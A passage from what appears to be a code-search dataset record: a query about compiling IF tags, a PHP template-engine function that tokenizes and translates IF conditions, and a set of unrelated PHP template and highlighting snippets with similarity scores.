),\n\n );\n\n $secondaries = array(\n\n array(\n\n 'pattern' => '#(\\W|^)(\\.?[0-9][0-9a-zA-Z.]*)#i',\n\n 'replacement' => '<span class=\"sql_number\">$2</span>',\n\n 'keepprefix' => 1\n\n ),\n\n array(\n\n 'pattern' => '#([,\\[\\]\\{\\};=\\+\\-!%\\^&*\\(\\)<>|])#',\n\n 'prefix' => '<span class=\"sql_symbol\">',\n\n 'suffix' => '</span>'\n\n ),\n\n );\n\n \n\n $kw = array(\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"sql_keyword\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('abs','absolute','access','acos','add','add_months','adddate','admin','after','aggregate','all','allocate','alter','and','any','app_name','are','array','as','asc','ascii','asin','assertion','at','atan','atn2','audit','authid','authorization','autonomous_transaction','avg','before','begin','benchmark','between','bfilename','bin','binary','binary_checksum','binary_integer','bit','bit_count','bit_and','bit_or','blob','body','boolean','both','breadth','bulk','by','call','cascade','cascaded','case','cast','catalog','ceil','ceiling','char','char_base','character','charindex','chartorowid','check','checksum','checksum_agg','chr','class','clob','close','cluster','coalesce','col_length','col_name','collate','collation','collect','column','comment','commit','completion','compress','concat','concat_ws','connect','connection','constant','constraint','constraints','constructorcreate','contains','containsable','continue','conv','convert','corr','corresponding','cos','cot','count','count_big','covar_pop','covar_samp','create','cross','cube','cume_dist','current','current_date','current_path','current_role','current_time','current_timestamp','current_user','currval','cursor','cycle','data','datalength','databasepropertyex','date','date_add','date_format','date_sub','dateadd','datediff','datename','datepart','day','db_id','db_name','deallocate','dec','declare','decimal','decode','default','deferrable','deferred','degrees','delete','dense_rank','depth','deref','desc','describe','descriptor','destroy','destructor','deterministic','diagnostics','dictionary','disconnect','difference','distinct','do','domain','double','drop','dump','dynamic','each','else','elsif','empth','encode','encrypt','end','end-exec','equals','escape','every','except','exception','exclusive','exec','execute','exists','exit','exp','export_set','extends','external','extract','false','fetch','first','first_value','file','float','floor','file_id','file_name','filegroup_id','filegroup_name','filegroupproperty','fileproperty','for','forall','foreign','format','formatmessage','found','freetexttable','from','from_days','fulltextcatalog','fulltextservice','function','general','get','get_lock','getdate','getansinull','getutcdate','global','go','goto','grant','greatest','group','grouping','having','heap','hex','hextoraw','host','host_id','host_name','hour','ident_incr','ident_seed','ident_current','identified','identity','if','ifnull','ignore','immediate','in','increment','index','index_col','indexproperty','indicator','initcap','initial','initialize','initially','inner','inout','input','insert','instr','instrb','int','integer','interface','intersect','interval','into','is','is_member','is_srvrolemember','is_null','is_numeric','isdate','isnull','isolation','iterate','java','join','key','lag','language','large','last','last_day','last_value','lateral','lcase','lead','leading','least','left','len','length','lengthb','less','level','like','limit','limited','ln','lpad','local','localtime','localtimestamp','locator','lock','log','log10','long','loop','lower','ltrim','make_ref','map','match','max','maxextents','mid','min','minus','minute','mlslabel','mod','mode','modifies','modify','module','month','months_between','names','national','natural','naturaln','nchar','nclob','new','new_time','newid','next','next_day','nextval','no','noaudit','nocompress','nocopy','none','not','nowait','null','nullif','number','number_base','numeric','nvl','nvl2','object','object_id','object_name','object_property','ocirowid','oct','of','off','offline','old','on','online','only','opaque','open','operator','operation','option','or','ord','order','ordinalityorganization','others','out','outer','output','package','pad','parameter','parameters','partial','partition','path','pctfree','percent_rank','pi','pls_integer','positive','positiven','postfix','pow','power','pragma','precision','prefix','preorder','prepare','preserve','primary','prior','private','privileges','procedure','public','radians','raise','rand','range','rank','ratio_to_export','raw','rawtohex','read','reads','real','record','recursive','ref','references','referencing','reftohex','relative','release','release_lock','rename','repeat','replace','resource','restrict','result','return','returns','reverse','revoke','right','rollback','rollup','round','routine','row','row_number','rowid','rowidtochar','rowlabel','rownum','rows','rowtype','rpad','rtrim','savepoint','schema','scroll','scope','search','second','section','seddev_samp','select','separate','sequence','session','session_user','set','sets','share','sign','sin','sinh','size','smallint','some','soundex','space','specific','specifictype','sql','sqlcode','sqlerrm','sqlexception','sqlstate','sqlwarning','sqrt','start','state','statement','static','std','stddev','stdev_pop','strcmp','structure','subdate','substr','substrb','substring','substring_index','subtype','successful','sum','synonym','sys_context','sys_guid','sysdate','system_user','table','tan','tanh','temporary','terminate','than','then','time','timestamp','timezone_abbr','timezone_minute','timezone_hour','timezone_region','to','to_char','to_date','to_days','to_number','to_single_byte','trailing','transaction','translate','translation','treat','trigger','trim','true','trunc','truncate','type','ucase','uid','under','union','unique','unknown','unnest','update','upper','usage','use','user','userenv','using','validate','value','values','var_pop','var_samp','varchar','varchar2','variable','variance','varying','view','vsize','when','whenever','where','with','without','while','with','work','write','year','zone')\n\n )\n\n );\n\n $code = generic_highlight($code, $blocks, $secondaries, array(), $kw);\n\n // put escapes back in\n\n return strtr($code, array(get_placeholder(9) => '<span class=\"sql_string\">&quot;&quot;</span>', get_placeholder(10) => '<span class=\"sql_string\">\\'\\'</span>'));\n\n}", "public function insertPhpCode($code)\n {\n $this->current_buffer->append_subtree($this, new Smarty_Internal_ParseTree_Tag($this, $code));\n }", "function includeTags($string) {\n\n preg_match('~\\{\\{(.*?)\\}\\}~', $string, $matches); // zoekt naar: {{ tag_name }}\n /*\n * Een widget tag bestaat uit twee delen, namelijk de map en de naam van het bestand.\n * bv. {{ portfolio_album }}\n * de widget staat in /widgets/portfolio/album.php\n * in dat bestand staat een functie met de volledige tag naam.\n * bv. function portfolio_album()\n * Deze funtie geeft de html uit de widget terug.\n */\n if($matches){\n $match = $matches[1];\n $match = explode('_', $match); //tag naam wordt gesplitst\n\n $widget_folder = trim($match[0]); //map naam\n $widget_file = trim($match[1]); //bestand naam\n\n $file = 'widgets/'.$widget_folder.'/'.$widget_file.'.php'; // locatie naar widget bestand\n $method = $widget_folder.'_'.$widget_file; // naam van de functie in het widget bestand\n\n /*\n * Als deze widget bestaat, en het een geldig bestand is, dan wordt hij toegevoegd dmv. include_once.\n */\n if(file_exists($file) && is_file($file)){\n include_once($file);\n /*\n * Check of de widget functie in het bestand staat.\n */\n if(function_exists($method)) {\n // vervangt de tag met de nieuwe html.\n return preg_replace('~\\{\\{(.*?)\\}\\}~', $method(), $string);\n } else {\n return $string; //widget functie bestaat niet, dus geeft hij de originele waarde terug\n }\n } else {\n return $string; //widget bestand bestaat niet, dus geeft hij de originele waarde terug\n }\n\n }else{\n return $string; //Geen tags gevonden, dus geeft hij de originele waarde terug\n }\n}", "function bar()\n{\n $demo = new Demonstration();\n $demo->executePrimeDirective();\n}", "function restore_pre_code_tags( $p_string, $p_multiline = true ) {\n\t\t\t$t_string = $p_string;\n\t\t\t$tags = '';\n\t\t\t$t_html_pre_code_tags = \"br, pre, code\";\n\n\t\t\tif( is_blank( $t_html_pre_code_tags ) ) {\n\t\t\t\treturn $t_string;\n\t\t\t}\n\n\t\t\t$tags = explode( ',', $t_html_pre_code_tags );\n\t\t\tforeach( $tags as $key => $value ) {\n\t\t\t\tif( !is_blank( $value ) ) {\n\t\t\t\t\t$tags[$key] = trim( $value );\n\t\t\t\t}\n\t\t\t}\n\t\t\t$tags = implode( '|', $tags );\n\t\t\n\t\t\t$t_string = preg_replace_callback('/&lt;(' . $tags . ')(.*?)&gt;/ui',\n\t\t\tcreate_function('$m', '\n\t\t\t\treturn \"<\" . $m[1] . str_replace(\"&quot;\", \"\\\"\", $m[2]) . \">\";\n\t\t\t')\n\t\t\t, $t_string);\n\t\t\t\n\t\t\t$t_string = preg_replace( '/&lt;\\/(' . $tags . ')\\s*&gt;/ui', '</\\\\1>', $t_string );\t\t\t\n\t\t\t$t_string = preg_replace( '/&lt;a\\shref=&quot;(\\S+)&quot;&gt;.+&lt;\\/a&gt;\\s\\[&lt;a\\shref=&quot;(\\S+)&quot;\\starget=&quot;_blank&quot;&gt;\\^&lt;\\/a&gt;\\]/ui', '<a href=\"\\\\1\">\\\\1</a> [<a href=\"\\\\1\" target=\"_blank\">^</a>]', $t_string );\n\n\t\t\treturn $t_string;\n\t\t}", "function findCode( $html ) {\n $code = '';\n\n foreach ( $html->find( 'main iframe, main script, main object, main form' ) as $element ) {\n $code .= '<tr>';\n $code .= '<td>' . $element->tag . '</td>';\n $code .= '<td><code>' . htmlspecialchars( $element ) . '</code></td>';\n $code .= '</tr>';\n }\n\n return $code;\n}", "private function _assets_condcom($asset_tag, $condcom)\n\t{\n\t\tif($condcom)\n\t\t{\n\t\t\t$asset_tag = '<!--[if '.$condcom.']>' . $asset_tag . '<![endif]-->';\n\t\t}\n\t\t\n\t\treturn $asset_tag;\n\t}", "function yy_r21(){ if (!in_array($this->yystack[$this->yyidx + -3]->minor,array('if','elseif','while'))) {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor,array('if condition'=>$this->yystack[$this->yyidx + -1]->minor)); }", "function yy_r27(){ \r\n if ($this->yystack[$this->yyidx + -6]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -6]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array('from'=>$this->yystack[$this->yyidx + -4]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor)); }", "public function asCompiled();", "public function run()\n {\n $tokens = $this->extractTokens( );\n\n // Loop through all the matches\n foreach( $tokens as $token )\n {\n if ( ! isset( $this->tokens[ $token ] ) )\n {\n $this->tokens[ $token ] = '';\n }\n\n if (\n is_object( $this->tokens[ $token ] ) &&\n method_exists( $this->tokens[ $token ], '__toString' ) ) {\n $replacement = ( string ) $this->tokens[ $token ];\n } else {\n $replacement = $this->tokens[ $token ];\n }\n\n // Get the content and replace the token with the parameter token\n $this->content = str_ireplace(\n sprintf( '%s%s%s', $this->openingTag, strtoupper( $token ), $this->closingTag ),\n $replacement,\n $this->content\n );\n }\n\n // Return the content\n return $this->content;\n }", "function pre_tidy_ASP () {\r\n\t\t// document object could properly be created then somehow revert the ASP to its preprocessed state.\r\n\t\t// also: there could be includes with includes in them so we must process until no chances are made\r\n\t\t// but since we need to remove these afterwards; we need some way to mark the level of the include so as to\r\n\t\t// be able to match its closing and ending tags without using the DOM (since we cannot save the DOM after \r\n\t\t// unincluding some code since it may be necessary for the DOM.\r\n\t\t$ASP_include_statements = array(array(-1),-1);\r\n\t\t$count_of_level_of_include = 1;\r\n\t\tpreg_match_all('/<!--#include virtual=\"([^\"]*)\" -->/is', $this->code, $ASP_include_statements);\r\n\t\tforeach($ASP_include_statements[0] as $index => $ASP_include_statement) {\r\n\t\t\t$this->code = str_replace($ASP_include_statements[0][$index], '<!--ASPInclude' . $count_of_level_of_include . 'Begin-->\r\n' . html_entity_decode(file_get_contents(substr($ASP_include_statements[1][$index], 1))) . '<!--ASPInclude' . $count_of_level_of_include . 'End-->\r\n', $this->code);\r\n\t\t}\r\n\t\t$this->code = str_replace('<%', '<!--9o9ASPopen9o9', $this->code);\r\n\t\t$this->code = str_replace('%>', '9o9ASPclose9o9-->', $this->code);\r\n\t\t$count_of_level_of_include++;\r\n\t\treturn true;\t\t\r\n\t}", "function highlight_php_code($text)\r\n{\r\n\r\n \r\n while (strpos($text,'<phpcode>')!== false)\r\n {\r\n $tag_start = strpos($text,'<phpcode>');\r\n $tag_end = strpos($text,'</phpcode>'); \r\n\r\n if ($tag_end === false)\r\n {\r\n $tag_end=(strlen($text)); \r\n }\r\n \r\n $phpcode = substr($text,$tag_start+9,$tag_end-$tag_start-9);\r\n \r\n $text_before = substr($text,0,$tag_start);\r\n $text_after = substr($text,$tag_end+10);\r\n \r\n if (strpos($phpcode,'<?php')===false)\r\n {\r\n \r\n $phpcode = str_replace('&lt;?php','',highlight_string('<?php' . $phpcode,true)); \r\n }\r\n else\r\n {\r\n $phpcode = highlight_string($phpcode,true);\r\n }\r\n \r\n $text = $text_before . $phpcode . $text_after;\r\n \r\n }\r\n\r\n \r\n\r\n\r\n return $text;\r\n}", "function tagins($stuffing) {\n return \"<\".$stuffing.\">\".PHP_EOL;\n }", "function yy_r11()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '%&gt;';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if ($this->asp_tags) {\n $this->text_is_php = false;\n } else {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n } elseif ($this->php_handling == Smarty::PHP_REMOVE) {\n if (! $this->asp_tags) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n }\n }" ]
[ "0.6819891", "0.669364", "0.6369455", "0.62322116", "0.6207673", "0.6170303", "0.6113081", "0.6005435", "0.6002696", "0.5992008", "0.59674567", "0.59243333", "0.59173137", "0.5876486", "0.58612055", "0.5852335", "0.5815935", "0.58072853", "0.57865816", "0.5786045", "0.57553476", "0.5743175", "0.5738093", "0.5737065", "0.57201546", "0.57201546", "0.57185966", "0.57123166", "0.5695708", "0.56692445", "0.5668569", "0.5667161", "0.56277", "0.5620656", "0.56191003", "0.56152844", "0.56131417", "0.56110656", "0.56083643", "0.5588305", "0.5580658", "0.5578268", "0.55708104", "0.55686486", "0.55644673", "0.5556511", "0.5546882", "0.5545391", "0.55321324", "0.55302256", "0.55214214", "0.55211955", "0.5520191", "0.5499083", "0.54867965", "0.54823965", "0.54644567", "0.5458325", "0.54329276", "0.54256034", "0.5420349", "0.5406496", "0.5403465", "0.53985244", "0.53938264", "0.5373405", "0.537296", "0.5366475", "0.53526515", "0.53491014", "0.533374", "0.5330889", "0.5330546", "0.533007", "0.5326844", "0.53017133", "0.5286628", "0.528606", "0.5285142", "0.5279009", "0.52748865", "0.52657646", "0.52619886", "0.52596706", "0.525627", "0.52556217", "0.5254203", "0.52485174", "0.52465737", "0.52419645", "0.52238995", "0.52225065", "0.5222228", "0.5219545", "0.5219084", "0.52112144", "0.5206179", "0.51997244", "0.51990914", "0.5181382" ]
0.5420815
60
Compile IF tags much of this is from Smarty with some adaptions for our block level methods
function compile_tag_if($tag_args, $elseif) { // Tokenize args for 'if' tag. preg_match_all('/(?: "[^"\\\\]*(?:\\\\.[^"\\\\]*)*" | \'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\' | [(),] | [^\s(),]+)/x', $tag_args, $match); $tokens = $match[0]; $is_arg_stack = array(); for ($i = 0; $i < sizeof($tokens); $i++) { $token = &$tokens[$i]; switch ($token) { case '!==': case '===': case '<<': case '>>': case '|': case '^': case '&': case '~': case ')': case ',': case '+': case '-': case '*': case '/': case '@': break; case '==': case 'eq': $token = '=='; break; case '!=': case '<>': case 'ne': case 'neq': $token = '!='; break; case '<': case 'lt': $token = '<'; break; case '<=': case 'le': case 'lte': $token = '<='; break; case '>': case 'gt': $token = '>'; break; case '>=': case 'ge': case 'gte': $token = '>='; break; case '&&': case 'and': $token = '&&'; break; case '||': case 'or': $token = '||'; break; case '!': case 'not': $token = '!'; break; case '%': case 'mod': $token = '%'; break; case '(': array_push($is_arg_stack, $i); break; case 'is': $is_arg_start = ($tokens[$i-1] == ')') ? array_pop($is_arg_stack) : $i-1; $is_arg = implode(' ', array_slice($tokens, $is_arg_start, $i - $is_arg_start)); $new_tokens = $this->_parse_is_expr($is_arg, array_slice($tokens, $i+1)); array_splice($tokens, $is_arg_start, sizeof($tokens), $new_tokens); $i = $is_arg_start; default: if (preg_match('#^((?:[a-z0-9\-_]+\.)+)?(\$)?(?=[A-Z])([A-Z0-9\-_]+)#s', $token, $varrefs)) { $token = (!empty($varrefs[1])) ? $this->generate_block_data_ref(substr($varrefs[1], 0, -1), true, $varrefs[2]) . '[\'' . $varrefs[3] . '\']' : (($varrefs[2]) ? '$this->_tpldata[\'DEFINE\'][\'.\'][\'' . $varrefs[3] . '\']' : '$this->vars[\'' . $varrefs[3] . '\']'); } elseif (preg_match('#^\.((?:[a-z0-9\-_]+\.?)+)$#s', $token, $varrefs)) { // Allow checking if loops are set with .loopname // It is also possible to check the loop count by doing <!-- IF .loopname > 1 --> for example $blocks = explode('.', $varrefs[1]); // If the block is nested, we have a reference that we can grab. // If the block is not nested, we just go and grab the block from _tpldata if (sizeof($blocks) > 1) { $block = array_pop($blocks); $namespace = implode('.', $blocks); $varref = $this->generate_block_data_ref($namespace, true); // Add the block reference for the last child. $varref .= "['" . $block . "']"; } else { $varref = '$this->_tpldata'; // Add the block reference for the last child. $varref .= "['" . $blocks[0] . "']"; } $token = "sizeof($varref)"; } elseif (!empty($token)) { $token = '(' . $token . ')'; } break; } } // If there are no valid tokens left or only control/compare characters left, we do skip this statement if (!sizeof($tokens) || (str_replace(array(' ', '=', '!', '<', '>', '&', '|', '%', '(', ')'), '', implode('', $tokens)) == '')) { $tokens = array('false'); } $code = (($elseif) ? '} elseif (' : 'if (') . (implode(' ', $tokens) . ') { '); return $code; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function yy_r20(){if (!in_array($this->yystack[$this->yyidx + -3]->minor,array('if','elseif','while'))) {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor,array('if condition'=>$this->yystack[$this->yyidx + -1]->minor)); }", "function yy_r21(){ if (!in_array($this->yystack[$this->yyidx + -3]->minor,array('if','elseif','while'))) {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor,array('if condition'=>$this->yystack[$this->yyidx + -1]->minor)); }", "private function setupIfdef() {\n Blade::directive('ifdef', function($expression) {\n $all_params_st = $this->stringParamAsString($expression);\n $params = eval(\"return array(\".$all_params_st.\");\");\n $result = '<?php ';\n $result .= 'if (';\n \n for ($i=0;$i<count($params);$i++) {\n $result .= \"isset($\".$params[$i].\")\";\n if ($i<count($params)-1) {\n $result .=\" && \";\n }\n }\n $result .= '): ?>';\n return $result;\n });\n }", "function compile($name, $code = false)\n {\n\t\tif (!$code)\n\t\t{\n\t\t\t$code = file_get_contents($this->template_dir.$name);\n\t\n\t\t\tif ($code === false)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tpreg_match_all('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code, $tag_blocks);\n\t\t$content_blocks = preg_split('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code);\n\n\t\t$size = count($content_blocks);\n\n\t\t$parse_content = $compile = true;\n\t\t$tag_holding = array();\n\t\t$line = 1;\n\r\n\t\tfor ($loop = 0; $loop < $size; $loop++)\r\n\t\t{\n\t\t\t$line += substr_count($content_blocks[$loop], \"\\n\");\n\n\t\t\tif (!$compile)\n\t\t\t{\n\t\t\t\tif (strtoupper(trim($tag_blocks[1][$loop])) == 'ENDIGNORE')\n\t\t\t\t{\n\t\t\t\t\t$compile = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($parse_content)\n\t\t\t{\n\t\t\t\t$content_blocks[$loop] = $this->_parse_content($content_blocks[$loop]);\n\t\t\t}\n\n\t\t\tif (empty($tag_blocks[1][$loop]))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tswitch (strtoupper(trim($tag_blocks[1][$loop])))\r\n\t\t\t{\n\t\t\t\tcase 'IF':\n\t\t\t\t\t$this->_tag_holding_add('IF', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\r\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } else { ?>';\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSEIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop], true);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ENDIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } ?>';\r\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'LOOP':\n\t\t\t\t\t$this->_tag_holding_add('LOOP', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_loop($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'LOOPELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'LOOP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->_tag_holding_add('LOOPELSE', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } } else { ?>';\n\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase 'ENDLOOP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != ('LOOP' || 'LOOPELSE'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_endloop($tag_blocks[2][$loop], $last_tag['name']);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'PHP':\n\t\t\t\t\t$this->_tag_holding_add('PHP', $line);\n\n\t\t\t\t\t$parse_content = false;\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php ';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'ENDPHP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\t\t\t\t\t\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'PHP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$parse_content = true;\n\t\t\t\t\t$tag_blocks[0][$loop] = ' ?>';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'INCLUDE':\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_include($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_HEADER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_header(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_FOOTER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_footer(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'IGNORE':\n\t\t\t\t\t$compile = false;\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DEFINE':\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_define($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'AREA':\r\n\t\t\t\t\t//$tag_blocks[0][$loop] = $this->_compile_tag_area($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t//$tag_blocks[0][$loop] = '<!-- '.$tag_blocks[1][$loop].' '.$tag_blocks[2][$loop].' -->';\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\n\n\t\t$this->_compiled_code = '';\n\t\t$size = count($content_blocks);\n\n\t\tfor ($loop = 0; $loop < $size; $loop++)\n\t\t{\r\n\t\t\t$this->_compiled_code .= $content_blocks[$loop] . (isset($tag_blocks[0][$loop]) ? $tag_blocks[0][$loop] : '');\r\n\t\t}\n\n\t\treturn true;\n }", "private function compile($content) { //was display function here\r\n\t\r\n\t\t\t//loop \r\n\t\t\t$content = preg_replace_callback('#{loop[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)(.*?)\\}(.*?){\\/loop\\}#is',array(&$this,'loop_bt'), $content);\r\n\t\t\t//if and her sisters\r\n\t\t\t$content = preg_replace_callback('#{(if|elseif)[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)[^>]([a-zA-Z\\=\\!\\>\\%\\&\\|\\</]{1,3})[^>](.*?)\\}#i',array(&$this,'if_expr'), $content);\r\n\r\n\t\t\t//matchs ..\r\n\t\t\t$matchs\t= array(\r\n\t\t\t\t\t\t\t\t'#{include_tpl[^>](.*?)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{include_script[^>](.*?)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{if[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{elseif[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{else\\}#i',\r\n\t\t\t\t\t\t\t\t'#{\\/if\\}#i',\r\n\t\t\t\t\t\t\t\t($this->php_compile == 'on') ? '#{php\\}(.*?){\\/php\\}#is' : '##',\r\n\t\t\t\t\t\t\t\t($this->global_vars == 'on') ? '#{([a-zA-Z0-9\\_\\-\\+\\./]+)}#' : '##',\r\n\t\t\t\t\t\t\t\t'#{assets[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)}#is',\r\n\t\t\t\t\t\t\t);\r\n\t\t\t//replaces\t\t\t\t\r\n\t\t\t$replaces = array ( \r\n\t\t\t\t\t\t\t\t\t'<?php $this->include_tpl(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php include(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php if($this->vars[\\'\\\\1\\']){ ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } elseif(\\\\1){?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } else { ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } ?>',\r\n\t\t\t\t\t\t\t\t\t($this->php_compile == 'on') ? '<?php \\\\1 ?>' : '',\r\n\t\t\t\t\t\t\t\t\t($this->global_vars == 'on') ? '<?php print $this->vars[\\'\\\\1\\'];?>' : '',\r\n\t\t\t\t\t\t\t\t\t'<?php echo $this->assets(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t);\r\n\t\t//show time ..\r\n\t\t$content = preg_replace($matchs,$replaces, $content);\r\n\t\t\r\n\t\tif($this->global_vars != 'on'){ \r\n\t\t\t$content = preg_replace_callback('#{([a-zA-Z0-9\\_\\-\\+\\./]+)}#',array(&$this,'assign_if_global_off'), $content);\r\n\t\t}\r\n\t\t\r\n\t\treturn $content; \r\n }", "private function if_expr(&$match) {\r\n\t\r\n\r\n\t\t//if it's IF .. \r\n\t\tif (strtolower(trim($match[1])) == 'if') {\r\n\t\t\r\n\t\t\t$result .= 'if ('; \r\n\t\t\t\r\n\t\t}elseif(strtolower(trim($match[1])) == 'elseif') {\r\n\t\t\r\n\t\t\t$result .= '} elseif('; \r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t///its for loop or just normal if .. [ loop begin with __\r\n\t\tif (strpos($match[2], '__') !== false) {\r\n\t\t\r\n\t\t\t$val = str_replace('__','',$match[2]);\r\n\t\t\t$result .= '$this->value[\\''.trim($val).'\\']'; \r\n\t\t\t\r\n\t\t}else{\r\n\t\t\r\n\t\t\t$result .= '$this->vars[\\''.trim($match[2]).'\\']'; \r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//so , now experssions signs .. \r\n\t\t\r\n\t\tif (!empty($match[3])) {\r\n\t\t\r\n\t\t\t$expr = trim(strtolower($match[3]));\r\n\t\t\t\r\n\t\t\t\tswitch($expr) {\r\n\t\t\t\t\tcase '==':\r\n\t\t\t\t\tcase 'eq':\r\n\t\t\t\t\t$expr_is = '==';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '!=':\r\n\t\t\t\t\tcase '<>':\r\n\t\t\t\t\tcase 'ne':\r\n\t\t\t\t\tcase 'neq':\r\n\t\t\t\t\t$expr_is = '!=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '<':\r\n\t\t\t\t\tcase 'lt':\r\n\t\t\t\t\t$expr_is = '<';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '<=':\r\n\t\t\t\t\tcase 'le':\r\n\t\t\t\t\tcase 'lte':\r\n\t\t\t\t\t$expr_is = '<=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '>':\r\n\t\t\t\t\tcase 'gt':\r\n\t\t\t\t\t$expr_is = '>';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '>=':\r\n\t\t\t\t\tcase 'ge':\r\n\t\t\t\t\tcase 